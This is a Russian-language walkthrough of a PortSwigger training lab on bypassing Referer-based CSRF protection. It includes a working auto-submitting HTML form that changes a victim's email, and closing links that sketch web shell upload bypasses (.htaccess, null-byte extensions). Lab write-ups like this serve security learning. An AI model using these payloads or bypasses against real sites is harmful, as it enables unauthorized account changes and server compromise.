На странице
CSRF со сломанной валидацией Referer
Лаборатория
CSRF with broken Referer validation · Practitioner
Решение
Дано
This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.
To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.
You can log in to your own account using the following credentials: wiener:peter
Анализ задания
Нужно поменять почту пользователя через эксплуатацию CSRF-уязвимости. Реализована защита на основе анализа Referer, необходимо её обойти.
Полезная теория от PortSwigger
Варианты «наивной» защиты на основе Referer:
- Проверяют только начало URL на наличие значений.
- Просто проверяют
Referer— есть ли в нём домен сайта.
Первый вариант обходится через создание поддомена с именем целевого сайта на своём сервере. Второй — через включение домена в URL в любом месте, например, в query string: http://attacker.com/?vul-site.com.
Однако второй метод не сработает без Referrer-Policy: unsafe-url, поскольку браузеры сейчас имеют дефолтные политики по обрезанию Referer (убирают query string).
Думаю, для этой лабы как раз будет вариант 2 — что-то мне подсказывает, что с поддоменом PortSwigger не стал заморачиваться, но посмотрим.
Разведка
Уже знакомый нам роут — POST /my-account/change-email. Отправляется:
Referer: https://0acd006e047305c382a4a606007d003c.web-security-academy.net/my-account?id=wiener
Ок, отправляем запрос в Repeater и ставим Referer:
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit
Ответ — 400 Invalid referer header.
Давай просто добавим Host в наш Referer в query string:
?0acd006e047305c382a4a606007d003c.web-security-academy.net
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit?0acd006e047305c382a4a606007d003c.web-security-academy.net
В Burp работает, но помним про Referrer-Policy: unsafe-url, чтобы это сработало в браузере у жертвы.
Итоговая нагрузка
- Добавляем в URL Host сервера лабы.
- Ставим заголовок
Referrer-Policy: unsafe-url. - Сабмитим форму смены email.
За основу возьмём нагрузку предыдущей лабы. И не забудем добавить в эксплоит-сервер Referrer-Policy: unsafe-url, а страницу назвать, например, /exploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net, чтобы содержалось имя Host сервера.
<form class="login-form" name="change-email-form"
action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="hhh@p.com">
<button class="button" type="submit">Update email</button>
</form>
<script>
document.forms[0].submit()
</script>
На мне нагрузка работает, а PortSwigger не принимает. Но вижу в access logs, что почему-то, когда жертва переходит, ей возвращается 404.
Попробую, может, не в query string передать Host, а прямо частью URL: /exploit/0a5600910423b30f803c767000df00fd.web-security-academy.net.
Лаба решена!
Ещё в этой категории
Web Shell Upload через обход блек-листа расширений (PortSwigger Lab)
.php в блек-листе, но .htaccess заливается без вопросов — подсовываем свой конфиг Apache и заставляем сервер исполнять shell.bug как PHP.
Web Shell Upload через обфускацию расширения (PortSwigger Lab)
Блек-лист расширений не пускает .php, двойное расширение shell.php.jpg отдаётся как картинка — null-byte shell.php%00.jpg обходит обе проверки.
Remote Code Execution через загрузку web shell (PortSwigger Lab)
Загрузка аватарки без валидации — заливаем PHP web shell и читаем /home/carlos/secret.